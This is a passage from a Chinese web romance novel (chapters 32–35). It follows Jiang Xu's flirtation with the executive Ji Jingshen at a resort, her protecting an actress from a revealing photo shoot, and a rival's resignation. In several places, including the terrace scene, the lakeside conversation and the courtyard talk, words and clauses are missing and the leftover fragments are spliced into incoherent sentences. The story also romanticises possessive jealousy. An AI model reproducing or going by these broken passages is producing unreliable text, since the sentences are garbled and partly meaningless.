果不其然,一分钟后,季惊深再次起身,温浅的嗓音带着几分歉意:“抱歉,还有些事要处理,得先行离开,各位慢吃。” “季总随意就好。”- 夜幕包裹山庄,季惊深从三楼的大厅穿过,便是一个小露台。算不得很大,只摆了一张恰好可供两人的餐桌。 姜许已经等了一小会,她和赵姐不欢而散,各执己见,秦知瑶夹在中问不好做。可她也没有退让,合同本就是清楚明白地写着,临时违约,她没让柒渔给她精神损失费已经是仁至义尽。 “吃过了?” 温沉的声音从左边传来,姜许回头看去,男人的大半身体被夜色笼罩,衬衫扣子扣得一丝不苟,唯有袖口处轻轻别了些许,正好露出那只手表。 要么怎么说看颜值高的人容易长寿,原本气还有些不顺,这会姜许心情直接好了不少:“吃过了,还吃了很多。” 反正别人出钱,姜许权当是吃回自己的精神损失。 “心情不好?”季惊深问。 姜许笑道:“这么明显?” “也不算。”只是恰好看到她眼里的那抹躁意:“秦知瑶的经纪人为难你了?” “是啊。”姜许撑着脑袋,不自觉地想到那晚的春色。此时夜晚,微风习习,气氛正好:“说起来季总也得有一半的责任。” 季惊深看她。 姜许继续说:“那赵胜男是柒渔的,柒渔是季安棠在管,季安棠是你妹妹,这责任连带,你付一半,没问题吧?” 季惊深静默须臾,语气染了几分暖意:“幸好这不是古代,否则以你这样的判法,怕是要天天满门抄斩。” 姜许:“……” 无语的一秒,姜许又笑出声来。她的眼里盛着微弱的灯光,明亮而又耀眼:“放心吧,季总这么好看的,我舍不得杀。顶多是,囚在家里做男宠。” 季惊深眸色微深,微紧的喉咙溢出声音:“那还真是幸好。” 姜许被逗得心情愉悦,这才想起把面前的点心盒递过去。 “什么?” 盒子打开,是季惊深没尝到的那份甜品。 “姜祁州说你的那份被俞晓染那死妮子吃了,正好秦知瑶减肥,她经纪人不让吃,我就打包过来了。” 季惊深颔首,又道:“也不用特意打包,一份点心而已。” “不一样。”姜许道,语调慵懒:“尝尝?很甜的,季惊深。” “……好。” 季惊深当然不在乎。 一份甜点罢了。 他从来不嗜甜,也不会不绅士到和一个小姑娘去计较一份甜品。 可是姜许,替他在乎。 第33章 第33章【VIP】 味道的确很不错。 并没有想象中的那么甜,夹杂着几分香甜的酒味,反倒是更为特别。 季惊深安安静静地吃着。他的动作极为赏心悦目,举手投足之间都带着一股贵气。 季家对于仪态方面本就要求得严格,加上在英国的十年,比起北安世家的少爷们,季惊深的身上,多了几分绅士和上位者的矜冷感。 姜许托腮欣赏着,等他吃完,男人才慢条斯理地收拾好盒子,望向她:“姜许,要接吻吗?” “……什,什么?”话题跳转得太厉害,姜许根本跟不上他的思维。 “不是说赵胜男惹你生气,我也有责任吗?”季惊深不疾不徐地道:“你希望我怎么哄你?接吻?还是说,像上次在车上一样,只要任由你作为就好。” 他心知肚明。这些说辞都是借口。 自从那晚之后,二四天的断联,让他的心高高悬起着。他见不到姜许,不安着的心始终落不下,直到今晚—— 他在千方百计的想要证明,姜许并不排斥自己的靠近。身体力行的证明,而不是从电话那头,略带玩味而又不认真的哄他。 姜许会骗人,可是她的身体反应,从来不骗人。 “你……今晚喝酒了?”姜许不确定了,微微凑近两分,没*有酒味,只有一股很浅的,属于女生的香水味。 她下午见过俞晓染,那妮子身上的香水并不是这个味道,那么,也就只有一种可能。 她眉头紧蹙着,眼里是化不开的燥意:“季惊深,你和赵颜颜在下午做了什么?” “什么都没做。”季惊深嗓音清淡:“只是聊了几句。” 垂钓结束后,他先回房换了套衣服。季惊深有很轻微的洁癖,不严重,但静坐鱼塘旁一下午,总让他觉得身上沾染了些味道。 再次推开房门后,赵颜颜便站在门口:“季惊深,你还在怨我吧?” “没有。”季惊深轻轻压了压眉梢,往电梯处走去。 “那你为什么不愿意和我好好相处,总是避之如蛇蝎?” 身后的赵颜颜离得更近了一些,鼻尖都能嗅到那股浓郁的雨后茉莉的香水味。 “赵小姐,我们只是合作关系,无关工作的事,没必要谈。”季惊深顿了顿,又淡淡地补充了句:“我不知道给了赵小姐什么样的误会,现在你对我而言,只是边野的负责人。” 姜许眉头依旧狠狠地拧着。她相信季惊深不会在这种事上撒谎,可是她在感情里就是小心眼,半点沙子都容不得。 过去她可以按下不提,可偏偏赵颜颜重新站在他的面前,并且无论是从长相身材还是能力,都属于男人喜欢的那一类。 她不是对自己不自信,只是,一想到就觉得烦躁。 “姜许,如果你依旧很介意,我会尽可能减少相处。只不过逸安和边野有合作,我做不到不再和赵颜颜见面,只是——” 后续的话,被姜许尽数吞没在唇齿间。 她是带了火的,直接挑开他的牙关,咬在他的舌尖上。在尝到了那么一丝铁锈味之后,她才懊恼地想要放开。 “哒……” 高跟鞋的声音传来。 姜许微微偏头,视线被拐角处的装饰树给挡住了,加上是夜晚,视野条件并不好,只能看得清一角黑色的长裙。 浅浅退出的吻再次被姜许加深,她一手捏着季惊深的下巴,一手在他领口处作乱。含糊不清的声音从他们交缠不清的唇齿间传来: “这衣服的味道我不喜欢,季惊深,我要你脱了。” 季惊深眸子暗得可怕。 他承认自己起初是打算诱哄姜许主动对自己上下其手,却没想到,只是身上带了点赵颜颜的味道,能让她吃醋至此。 这一处不比市里,靠着水库和海边,夜晚气温有些微凉。自然,他是不在乎这些。只是这是室外,也算是大庭广众之下。 有些底线,他终究是不会破。 “等回房。”季惊深任由她的动作,微微抬起下颚,眼尾已经染上了几分红,他呼吸沉得可怕,喉结燥热难耐地滚了滚,却依旧压不住自己的欲念。 舌尖再次被姜许咬住,这次她没有很用力,只是不轻不重地咬着。男人唇齿间还带着很浅的酒味,混杂着清甜的奶油味,温热,而又甜得上瘾。 余光处,那一抹黑色的裙摆已经走了。姜许沌的,后知后觉地察觉到自己的姿势—— 大半身体都靠在了季惊深的怀里,手指还轻佻着男人的下颚。 她赶紧坐直身体,理智回笼后,脸颊依介意……” 姜许找回自己的声音:“工作是工作,况且,你又不喜欢她。” “嗯。 姜许微微偏移了身体,这才让被她遮挡了些许男人的耳根早就红透了,连带着眼尾一起,都 衣领只被她胡乱的拽下两颗扣子,至于再往下—— “别看,姜许。” 面前被季惊深的大掌笼罩着,隔绝了她所有的好奇。 只是不可避免的,刚才匆匆的一眼,依旧能看得清轮廓。 高耸,威严。 “……我不看。”姜许抿了抿唇,声音却是止不住的笑:“其实我看见了。” “嗯。” 姜许:“正常反应,你不用紧张。” 季惊深轻督她一眼。眉眼处被自己遮住了,可是轻轻上扬的唇角暴露了她的真实想法。 半点不害羞,甚至还能淡定到反过来安慰他。 “你玩不过你家天仙这样的老手的。” 方厌这么说过。 季惊深也不得不承认,至少在这方面,姜许略胜他一筹。刚才强势的进攻,以绝对掌握的姿态扣住他的下颚—— 他连半点反抗的想法都没有,甚至在那一瞬间,想要把坚守了二十多年的原则全部破掉。 没有结婚没关系,没有确定关系也无所谓。姜许想要,他就给。 如果从感情方面留不住她,那他不介意,用身体来留住。 四下安静着,季惊深的手始终没落下去。几息之间,姜许眨了眨眼,密而卷的睫毛在他掌心轻扫着,又将火苗一点点燃起。 “姜许。” 姜许听到季惊深沉闷的声音。 “现在我算是把你哄好了吗?” 啊…… 他怎么还想着这个? 姜许的嘴角上扬得越发厉害,她故意娇着声音,又散漫又玩味:“你把手拿下来就算哄好。” “这里是露台。”季惊深嗓音更低了几分:“姜许,适可而止。” “……知道了。”她也没有那种癖好- 头顶的水不断落下来,姜许也不知道自己站了多久。 唇上仿佛还留着季惊深的温度,乱人心神。 “姜许,你还要洗多久啊!这么大的房间就我一个人,怪瘆得慌的!”隔着浴室门,外头传来了俞晓染叫叫喳喳的声音。 姜许思绪被打断,随手扯了一条浴巾,松松垮垮地裹在身上后便径直走了出去。 俞晓染在床上打了个两个转,一翻身就看到姜许盘着头发,肩头带着几分湿意地走了出来。浴巾根本遮掩不了多少春色,反倒是半遮不遮的,更显诱人。 她不自觉地吞了吞口水,又对上姜许不耐烦的视线,嚷嚷道:“干什么,是你自己说今晚不打算跟季惊深有深入接触我才过来找你的。还不是怕你一个人睡不着,我都牺牲小我了,你别不识好歹!” 死女人,身材真好。 这样都没拿下季惊深? 俞晓染狐疑地看了一眼姜许:“你和季惊深到哪步了?作为朋友我还是好心提醒一下你,他身体看着好像恢复得差不多了,但是那方面你还是得考究一下,万一……” “不劳费心,他好得很。” 虽然只是匆匆一撇,但是也依稀看得出来资本不小。 “哦哦那就行,诶,那你和黎江青……” “别问,我不想告诉你。” 姜许背过身去玩着手机,跟江小满私聊汇报着:【亲了,我主动的,很激烈。】 那头隔了二分钟才发了一行的感叹号过来:【所以你们搞什么,先上车后补票?感觉怎么样,那样的男人亲起来是不是更有感觉?】 那可太有感觉了。 要不是最后季惊深提醒一句在露台,她甚至还想继续。 江小满:【别藏着掖着,给我详细描述!】 姜许:【不了吧,大半夜的,我怕我忍不住翻墙。】 江小满:【别说了,我要去看我的文了。】 肩膀被俞晓染戳了又戳,叽叽喳喳的话自从她进来之后就没停过。 “那个赵颜颜真心不要脸,都这样了还好意思贴上来,看不出来人家对她没意思吗?” “你当时不在饭桌上都不知道,她给季惊深抛了多少次媚眼。不是说边野负责人吗,怎么跟……” “差不多得了。”姜许犯了困,她今天工作了一天,早就困得不行了。打了个哈欠,她把半边脸埋进枕头里,声音含糊不清:“季惊深这会单身,追求他又不犯法。赵颜颜也没对我做什么过分的事,吐槽两句就行了。” “我这是在为你说话!”俞晓染气炸。 “我知道。”姜许拍了拍她的脑袋,更困了:“不过以后说话多少收敛着点,人家真没得罪我们,没必要闹得难堪。而且明礼哥后续还和赵颜颜要合作。” “知道啦!” 姜许是真的困,晕晕沉沉地睡过去,直到第二天被闹铃吵醒。 俞晓染还缩在被子里,探出脑袋嘀咕了一句:“你好可怜,大早上上班。” “知道就好,这两天少来折腾我。”姜许换上衣服,又很快地化了个淡妆。 到顶楼早就布置好的地方时,唐渺渺和何月正为难地守在更衣室的门口。 “怎么了?”姜许问。 何月小声道:“换衣服呢,都换了好久了,不肯出来。” 姜许闻言轻轻敲了敲门:“秦知瑶,是我,姜许。” 里面传来细如蚊呐的声音:“进,进来。” 姜许推门进去,秦知瑶已经换好了赵姐准备的衣服。不过,那也不能算得上是衣服,只是单薄的几片布料套在身上,只遮住了最重要的部分。 秦知瑶的眼眶很红。她出道以来走的都是清纯路线,就连拍戏都没有多少大尺度的。这样的拍摄,无疑是在打破她的底线。 姜许不混娱乐圈,可是多少也知道。有些事情,但凡开了一个头,之后便是源源不断。更别提,这样一身带着性诱惑的照片一旦爆出,背后接踵而来的,会有什么样恶心的事。 “瑶瑶,怎么还没换好?!”门口传来了赵姐不耐烦的声音:“都说了你别想那么多,你总不可能走一辈子的可爱路线吧,我这是为你好!” 秦知瑶张了张嘴,眼眶更红了。她无声地捏紧着所剩无几的布料,正准备出去—— “等等。”姜许喊住了她,正色了几分:“不愿意拍?” 秦知瑶猛点着脑袋。 姜许轻舒了一口气,她本来不是多管闲事的性子。只是和秦知瑶的关系到底是在朋友之上闺蜜未满,怎么都不算是陌生人。加上,同为女性,她也不愿意看到秦知瑶即将要经历的事。 索性直接拿起一旁的剪刀,朝她道:“换上原本定的衣服,这套给我。” 秦知瑶愣了两秒,也顾不上那么多,飞快地脱下。伴随着两声“咔嚓”,单薄的布料在姜许手中碎成了长布。 “秦知瑶,我只能帮你这一次。”姜许语气认真:“娱乐圈本来就是个吃人不吐骨头的地方,不是每一次都会有人帮你。” “我,我知道了。”秦知瑶抬起头,眼里满是感激:“谢谢你,姜许姐。” “不用。”姜许摆了摆手,等她换好衣服后,这才推开门,丝毫没有歉意地朝赵姐笑道:“赵姐,就拍这套。你准备的那套,不小心被我剪坏了。衣服的钱我来赔,原定的拍摄谁都不能改。有意见的话,不如一起到棠总那边理论理论?” 本来理就不在她们,赵姐原本打算是先斩后奏,结果这衣服都没了,她再憋屈也只能忍下。余光,扫了一眼秦知瑶,她冷笑一声:“瑶瑶果然是长大了。” 秦知瑶低下了头,一声不吭- 俞明礼一行人十点便在池塘开始垂钓。昨天提前吩咐了一嘴,旁边支起了帐篷,长形桌子上摆放着不少零食和饮料,甚至连麻将机都准备好了。 俞晓染对钓鱼一点兴趣都没有,提了一嘴之后,便和方浔兄弟两带着姜祁州一起在麻将桌上打发起了时间。 季惊深则是找了个和俞明礼不近不远的地方,下了杆。 水面平静,暖阳高照,难得悠闲的时光,季惊深轻靠在小椅子上,阖着眉眼。身侧有动静落下,抬眼看去,赵颜颜也有模有样地学着他们将鱼竿甩进水中。 他置之不理,依旧浅浅地养着神。 “昨晚,我看到了。”赵颜颜笑得很勉强,都差点维持不住面上的表情:“她主动吻你的,季惊深,你没有推开。” 这意味着什么,他们彼此之间,都心知肚明。这个认知,让赵颜颜真正意识到了,自己半点可能性都没有。她是喜欢季惊深的,在十六岁那年就喜欢他了。她笨拙地跟在他的身边,总是盼着他回头给那么一个眼神,这就足够了。 最贪婪的那一次,她第一次利用自己身上的伤和自己的可怜,朝那个永远云淡风轻的男人小心翼翼地道:“季惊深,我很难过,你可以给我一个拥抱吗?” “抱歉。”她听到男人用温和的声音说着残忍的话:“我不喜欢和女生有太多接触。” 他永远是这样,情绪淡漠得看不到一丝起伏。他对所有事情仿佛都胜券在握,明明近在眼前,却又远在高处难以靠近。 可昨晚,她看见了季惊深眼底的欲望。不受控制的手扣在姜许的腰间,一副任由她作为,心甘情愿把一切都给她的姿态。 “赵小姐,偷看不是什么礼貌的行为。”季惊深的语气凉薄了几分,眉梢之间隐隐有着不悦。 赵颜颜苦笑:“你喜欢她?” “不止。” 他对姜许的何止是喜欢,是疯狂的,恨不得吞之入腹的占有。 赵颜颜掐住了手心,带着最后的期待:“如果当初我没有做那件事,而是一直陪你到现在,你会给我一个机会吗?” 远处湖面起了一丝涟漪,俞明礼快速地收杆,激动的声音惊扰了一汪湖面。季惊深垂眉看着刚有些动静却又再次沉下去的鱼竿,收了目光。 手机振动,熟悉的红色头像。 【钓鱼有收获吗?】 【还没。】 【那别钓鱼了,季惊深,我比鱼识趣。】 季惊深眉眼不自觉的一柔,也不知道她是从哪里看来的情话,随手就套用了。 身侧,赵颜颜依旧在看着他,静等他的回答。 “不会。”季惊深说:“你不是姜许。” 所以,无论当初是怎么样的选择,都不可能。 除了姜许,谁都不可能。 第34章 第34章【VIP】 拍摄得还算顺利,晚上还有一套夜景的,就算是结束了。 下午时间充裕,姜许便给何月她们放了个小假。 度假山庄一共五层楼,除了住的一层,还有不少娱乐设施,比较出名的便是温泉和顶楼的风景。修身养性,适合放松。 姜许对那些都没兴趣,在微信上打了个招呼,便跟着山庄安排的车来到水库附近。 才刚刚走近,方厌便眼尖地看到了姜许,调笑着打了声招呼:“姜大小姐,好久不见。” 姜许回了一句招呼,抬眼瞧见不远处并排坐着的季惊深和赵颜颜。方厌的声音不小,原本安静垂钓着的男人忽而抬眼,目光正正地朝她这处看来。 麻将的碰撞声,不远处水库倾泻而下的泉水声交杂在一起。吵吵闹闹之间,唯有男人的视线平静,越过周遭,拨人心弦。 姜许回以一个漫不经心的笑,在姜祁州身边坐下:“替你打两圈?” 她有很多年不碰这东西了。早年在南江的时候,许清秀一打能打个通宵。偏偏自己还是她“带女儿出来玩”的借口,脑袋都小鸡啄米了还得熬着。到了北安之后,许清秀的那圈搭子不在,三缺一的时候,她抱着作业都得上桌。 姜祁州应声让位,在她坐下后,倒了杯橙汁递到她手边:“工作结束了?” “还没。”姜许认真地看着自己的牌,道:“晚上还得拍摄一组,明后两天休假结束再回去。” “正好,后天晚上有个宴会,你跟我一起出席。” 姜许微顿,又摸了一张牌,小七对听牌了。将闲牌打出去,她看了眼时间:“后天是大伯生日,我得回去一趟。” 气氛有一瞬间的沉默。一向话多的俞晓染都没敢接话茬,丢了张九万出去。 “胡了。”姜许推牌。 俞晓染傻眼:“姜许!” “干嘛,想赖账?”姜许很是鄙夷,从她兜里拿过自己的筹码之后,开始下一把:“大伯让我问问你,这次回不回去?” 气氛持续的凝固。 姜祁州和姜广安的关系在他出轨之后就一直僵持着,哪怕是最困难的那一年,他也没有向这个生理学上的父亲开口。 “不回。” 意料之中的答案。 姜许点头,反正她也只是例行问一下而已:“不回也好,去年我回去,姜延河把我车轮胎给扎了。一年有一年的贱法,看我今年不整死他。” “那我劝你进了门之后一口水别喝,一点东西别吃。”水里可能放胶水,至于吃的,什么都能放。 他们从小和姜延河不对付,闹得最凶的那次,姜延河进ICU,姜许和他一人骨折一条腿在医院同住。 “知道。”姜许摸牌看了眼,直接推:“清一色。” 俞晓染:“……你丫的,你别打了行不行!”她压低声音,心疼自己的零花钱:“没看到赵颜颜就贴在季惊深旁边?你不去守着你的男人,总盯着我的钱包做什么!” 姜许轻叹一声:“万一人家谈工作,我过去多不合适。” “合适,怎么不合适!”俞晓染认真道:“快去,不然我瞧不起你。” “行。”反正姜许的心思本来就不在牌桌上面,只不过想过一下手瘾罢了。 将橙汁喝完,姜许随手拿了个黑色的遮阳帽戴在头上,撑开一个小马扎坐在季惊深的另一侧。 午后的阳光正好,郊区的凉风吹在脸上温柔又舒服。姜许调整了个轻松的姿势,偏头看着身边的男人:“季总,钓鱼好玩吗?” 姜许的嗓音带着几分慵懒和随性,遮阳帽将她娇小的五官笼罩在帽檐之下。她只得轻轻抬头,含笑和他对视着。 “很适合放松。”季惊深回。 对他而言,他对钓鱼的兴致其实不大。只是出来放松,安静地坐着闭目养神,倒也不错。 赵颜颜从姜许到这边之后,视线就一直若有若无地定格在她身上,这会见她过来,笑着聊上一句:“那边还有鱼竿,姜小姐要不要一起?” “不用,我不爱钓鱼。”姜许婉拒,又觉得自己略显冷淡,礼貌地笑了笑,补上了一句:“那边太吵了,我过来躲清闲。” 俞晓染咋咋呼呼的,自小被家里宠着。别看俞明礼嘴上一口一个嫌弃,实际上对她也是百般宠爱,所以才会养成这样的性子。 思索两秒,姜许浅声道:“赵小姐,晓染被宠坏了,有时候口不择言,有下次,你大可以骂回去, 赵颜颜也跟着笑了笑:“没关系,我能理解。” 她早就有心理准备,自己回来,被讨厌是作,所以对她还算客套,方家兄弟两冷淡很多,尤其是方厌,和季惊深的关系过深,自始至。 话题到此为止,姜许和她本来系。而她过来的主要目的,是为了身始终落在她的身上,再次对上后,也无半点波澜,” 他以为姜许是介意赵颜颜,身子微微往她这边侧了两分。本就离得近,这会早就超过了正常社交的程度,只要往他们这边瞧上一眼,便能察觉到两人的关系亲昵。 “季惊深,我有点累了。” 有几分撒娇的意味。 你回去休息?” “不想。”姜许笑:“回去多无聊。” “就是啊,回去只能睡觉,无聊得很。”俞明礼今天心情特别好,刚刚上了大货,发了朋友圈之后炫耀了好一番,这会正是热情高涨的时候:“姜家妹妹,你相信我,这钓鱼只有零次和无数次。来来来,我教你,保证让你爱上!” “真不用了。”姜许还是浅声拒绝,大大方方的:“我这是醉翁之意不在酒。” 俞明礼:“……” 他就不应该多事。悻悻地摸了摸自己的鼻子,又继续低头在群里炫耀。 清风正好,姜许是有些犯困,可也不妨碍她光明正大地看着季惊深。 季惊深原本是打算在这里悠闲的度过一天,赵颜颜并不是特别聒噪的性格,坐在身边只要不妨碍到他也无所谓。可偏偏姜许来了,视线直勾勾的,莫名地让他有几分燥热起来。 捏在他下颚的手,搭在胸口扣子上的指尖。 他总是在告诫姜许适可而止,其实,他才是那个控制不住的人。 “不会无聊?”季惊深问。 姜许轻轻颔首:“陪我聊会天?” “好,你想聊什么?” 赵颜颜的手不自觉地捏紧了几分。 季惊深并不是一个喜欢闲聊的人,或者应该说,他的时间太过宝贵,根本不会花费时间在这种琐事上面。 可他所有的不会,在为她一一破例着。 “下次约会的话,你想去哪?” 姜许忙完这几天就会空闲不少,她想稍稍加快进度。就算做不到每天都见面,但是两三天一次约会,也是该有的。而地方,她希望是季惊深喜欢的。 “都可以。”季惊深没有特别的喜好。 北安繁华,于他而言,在哪都无所谓,和谁在一起,才重要。 姜许蹙眉,很不满意他的回答:“没有都可以的选项,季惊深,你没有特别想去的地方吗?” 男人眉头紧锁,似乎这个问题对他而言,很难回答。 姜许抿了抿唇,后知后觉地想起季惊深大概是没怎么出去玩过,对于这方面无甚经验,于是耐心地提供了几个选项:“安静的地方,或者热闹的地方?又或者,你是喜欢看电影之类的,还是去游乐场逛街之类的。” 季惊深黑眸稍顿,鱼竿动了动,赵颜颜的声音插入进来,提醒他可以收杆了。他动作缓慢地收着,鱼也学了精明,到一半时,跑脱了。 空杆回来,鱼饵被吃得干干净净。 他也并不在意,慢条斯理地戴上一次性手套,将新的鱼饵挂在鱼钩上。他像是随口一提一般,淡淡地道:“那你以前呢,都是去哪约会的?” 姜许缄默几秒。 问题怎么又抛到她这里来了,还是一个不怎么好回答的问题。 “……不记得了。”她只能这样说。 季惊深没再说话。 鱼竿重新入了池塘之中,原本平静的水面惊起了一圈很小的涟漪。 对于过往感情,姜许藏得很好。不愿意透露半分,像是封在橱窗里昂贵的礼物一般,舍不得分享一眼。他很清楚,这些事不该提。上次是醉酒失了智,而这一次,是因为什么,无从而知。 或许是他本来就是这样的人,冠冕堂皇地说着尊重她的过往,实则却如同最小肚鸡肠的男人一般,想要窥视全部。又或许是,俞晓染随口一提的话。姜许即将要和她的前任见面,他不知道姜许是否能做到心中毫无波澜。 至少,他不能。 这是和陈越然截然不同的存在。 他是姜许曾经真正喜欢过的男人。 今早胡泽给他看过了黎江青的资料,长相不错,性格也温柔会照顾人,圈内多有好评。姜许不管娱乐圈里的事,自然也不懂。这部剧黎江青是临时救场,什么要求都没提,唯独提了一个。 他不接吻戏,不炒作。只独独靠自己的演技。 “后来他拍戏要和别的女艺人亲热,他选择他的事业,我选择我的自由,就分了。” 这是他们分手的理由。 那如果,黎江青这次选择的,不是事业呢? “你定吧。”季惊深垂下眉眼,刚脱下手套的手冷不丁地被柔软的触感碰到。 他低头看去,姜许勾着他的手,一点点的入侵。直至十指相握,食指在他手背轻轻地摩挲着。 “那就都安排上。季惊深,你记得要给我腾出时间。” “好。”季惊深说:“姜许,往后工作之外的时间,我会尽量给你留着。” 所以,说过的话,她要做到。 第35章 第35章【VIP】 晚饭过后,姜许要赶着去工作。 提前离了场,从洗手间出来时,赵颜颜正在镜子前补妆。姜许拧开了水,让微凉的水淌过指间。洗干净后,她随手扯过纸巾—— “我没有机会了。”赵颜颜突然开口,脸上带着几分自嘲:“在遇到你之前,我一直认为自己是小说里的女主角。从贫困山区中逆天改命,做到这个位置。还以为,我对于季惊深来说是不一样的。” “你是。”姜许说:“只不过你的小说是大女主剧本,而不是言情剧本。” 赵颜颜微怔,眼眶似是泛起了几分红。黯淡灯光之下,看得实在是不太清晰:“谢谢你。姜小姐,我真心地祝福你和他能够幸幸福福的。” “谢谢。也祝你,永远做自己的女主。” 赵颜颜在洗手间待了很久,眼角湿润泛红,她不得已又补了一个妆。重新回到包厢里时,方厌已经喝了不少酒,他似是有话要说,却又被一旁的方浔劝着。 “他季惊深脾气好那是他的事,平白无故被扣了帽子这么多年——” “方厌。”这是季惊深的声音,依旧平静,却带着几分威慑的意味:“你喝多了,该醒醒酒了。” “不说就不说。”方厌心中憋着火,薄凉的视线在赵颜颜身上绕了一圈,笑得越发的冷了,他很快起身:“我出去透口气。” 赵颜颜大概知道方厌要说什么,只不过大家都是成年人,社交礼仪有时候只是点到为止就够了。眼眶酸涩着,她认认真真看着主座上,自己放在心中多年的男人好一会,才释然地举起酒杯: “我敬大家一杯。往后,希望我们合作顺利。” 其他的,不再奢求。 今晚喝得并不多,一轮过后,俞明礼招呼着去打斯诺克。季惊深接到电话,英国那边出了点事,事情紧急,胡泽申请了航线,十点多从老宅起飞。 他从山庄下来,在一楼庭院处看到了方厌。他正在打电话,听到身后的脚步声后挂断,回头看他,眼角染着几分不爽:“我以为谁呢,这不是咱们季总吗?” 季惊深无视他的阴阳怪气:“你当自己是小孩子?” 方厌都被气笑了,他就是闲的。 当年那事,虽然后面澄清了,可是这件事的影响不小。一个季家的长子,万众瞩目的继承人,年纪轻轻就被扣上一个猥亵的罪名。别人不清楚,难道他还不知道那段时间的季家有多乱吗? 旁支虎视眈眈,逸安董事会更是以此作为文章,对季家打压了不少。诸如此类的种种,外人去只看见季惊深出国的十年,却不知道其中的暗涌。 “她凭什么能若无其事地出现在你面前?凭什么还过得这么好?季惊深,你可真大度。” 方厌是真拿季惊深当兄弟,旁人不心疼的,他自己都不心疼的,他实打实地放在心上了。这两天憋着火,尽量避开和赵颜颜的相处。可两杯酒下肚,又听俞晓染不经意提了当年的事,这火气便有些憋不住。 “过得这么好?”季惊深淡淡地重复,嗓音低了几分:“赵颜颜下午在避着我们吃药。” “什么药?” “艾司西酞普兰。” 方厌沉默。 这药他并不陌生。 季惊深在最开始出国的那一年也吃过。 抗抑郁的。 “这件事于我而言早就过了,我很早就不放在心上。而对于她,却一直困住。这样的惩罚,已经够了。方厌,当年的事,已经过了很久。” 季惊深并不是什么善人,他自然是怨过恨过的。只是随着年岁增长,阅历增多,心境自然不同。要论起来,当初一开始便是他的选择,结果如何,自己承担,怪不得谁。 况且,较之过往,这件事对他而言,实在是无关紧要。他的人生虽因此受过重创,却也在数年之后,再次回到正轨。他的事业顺遂,所念之事也在一一向他靠拢。他忙着公司的事,忙着和姜许的事,实在是无所谓一个赵颜颜。 “行,我知道了。”方厌哑火了几分:“你这是要去哪?” “英国那边出点事,临时要走,我去和姜许说一声。” 方厌点头,又突然想到了什么,随口问了句:“惊深,我是说如果——” 季惊深回头看他。 许对你,也只是几个月的兴趣。到最后,你是打算和平分手好聚好散?” 庭院里不算明亮,男人身形修长,眉眼被暗色笼罩,幽深而又凉薄。 “好聚好散?”方厌听到险的轻笑:“我给过她离开的机会。” 视线之中再也看不到季惊深的身影。方厌突然想起季惊深很久以前养了一只猫,不久之后,便被送人。 那是他第一次看到季惊深露出那么可怕的神情,十几岁的少年抱着小猫,沉默了很久。直到最后,还是松开了手。 方厌心疼他,出主意道:“要不放我家养,你想看的时候随时能看。” 回视线,眼底却沉得可怕。 诸如此类的事情,在那之后发生过不少。喜欢的游戏,自行车……的理由全部禁止。 人啊,一旦克制久了,时隔多年再遇到喜欢的,便会止不住的爆发。 他回头往屋子里走,余光却瞥见不远处大厅,一道影子在反光的地面上被拉得很长- 今晚秦知瑶的状态并不对。表情管理做得很差,姜许好几次提醒,恢复正常没一会之后,又神游天外。 “秦知瑶,你要是不想拍就别拍,整这幅样子给谁看!”赵姐的大嗓门传来,语气不耐烦得很:“吃不了这碗饭就滚回你家做乖乖女去。” 姜许听得蹙眉。 赵胜男的脾气实在是算不上好,但是对秦知瑶一直都是好声好气的,这还是第一次,如此地不给面子。估计是在下午休息的这段时间里,又发生了什么不得了的事。 她不得已放下相机,瞥了一眼赵姐:“先休息一会,秦知瑶,你调整状态。至于赵姐,你要是累的话可以先回去休息,这里也不用到你。” 赵姐冷笑了一声,表面功夫也不做了,转头就走。 “姜许姐。”秦知瑶凑了上来,小声地道歉:“对不起,我今天状态不太好,耽误你时间了。” 姜许摇头:“没事,工作不开心能理解,你缓一会,等会继续。”回头看了一眼唐渺渺:“渺渺,帮她补个妆。背哥,你把后面的大灯往左调一点。” 秦知瑶抿了抿唇:“我,我今晚能去你的房间吗,我想和你聊聊天。” 姜许:“……行吧。” 怎么想睡的男人没睡到,这女人倒是一个个的来。 “姜许姐。”何月小声地喊了她一句,小心翼翼地指着不远处:“季,季董好像是*来找你的。” 姜许顺势看过去。 季惊深在不远处,长身而立。海边的晚风实在是太大了一些,他只穿了件单薄的黑色衬衫,精瘦的腰身裹在西装裤之间,夜风灌着,隐约能看到个大概轮廓。 她快步上前,四处无遮挡,姜许索性也不顾忌,朝他笑道:“怎么,想我了?” 季惊深垂眉朝她看去,黑眸落在她的脸上好几秒,才道:“我要离开北安一段时间。” 有些突然,倒也不是特别突然。姜祁州也有很多时候临时要出差,处理各种事情。 姜许正了正脸色,点头:“要去多久?” “半个月。” 那还是有点长了。 姜许浅浅地叹息了一口气,又问:“那我能给你打电话吗,每天。” 见不到人,发消息终究是差了点意思。 “可以。”季惊深说:“视频,或者其他,都随你,我会尽量抽出时间。” 姜许被逗笑了,怎么总感觉他们之间的关系有些不对。她不得不提醒一句:“季惊深,是我在追你。” “嗯。”季惊深说:“所以我在配合你的追求。” “……” 好犯罪。 想亲。 可是后面一堆炙热的视线在盯着。 姜许不得不收敛,声音里却是止不住地带上了几分撒娇的意味:“回来的时候告诉我,我去接机。” “不用,这次是申请的航线。” 姜许了然,也不再多问:“一路顺风。” “嗯。”季惊深应下,又道:“姜许。” “什么?” “我不在的这段时间里——”他顿了顿。他想让姜许安分一点,不要趁他不在,对别人有了兴趣。心里头虽是这么想着的,可到了嘴边,终究是没有说出来。 “照顾好自己。”季惊深说:“其他的不用顾忌,姜许,你怎么开心,就这么来。” 这是他一直的所愿。 目送季惊深离开后,拍摄继续。 秦知瑶似乎是调整好了自己的心情,都开始有兴致八卦了:“姜许姐,你们在一起了?” 她的消息比较滞后,何月她们多多少少知道一点。可秦知瑶今天还是第一次看到这个场景,震惊得连和赵姐发生的那些不愉快的事都忘了。 她只看到那个稳坐高座之上的男人刚才就站在不远处,微微低头,脸上被远处的路灯渡上了几分很浅的温柔。 般配。 秦知瑶的心里只有这么一个想法。 “还没。”姜许从不喜欢在外聊自己的感情事,很快进入到工作状态:“继续拍摄吧。秦知瑶,你现在状态调整好了吗?” “调整好了。”秦知瑶强撑精神,她不想给姜许添太多麻烦。 后面的拍摄很顺利,十点结束。 姜许先去打了把斯诺克,乘兴而归后便回房洗澡。再次出来时,房门便被敲响。她光着脚过去开门,外头是穿着睡衣的秦知瑶。 她应该是又哭过了一次,眼眶红得厉害,手指无措地搅着,无助而又委屈地看着姜许。 她最看不得女生哭了。 侧身让姜许进来后,又给她倒了一杯水。 房间是跟着姜祁州他们一起定的,配备了个小厨房,房间也足够宽大,还有一个阳台。往外看便是海景,江面平静,偶尔有光晃过,荡起几分涟漪。 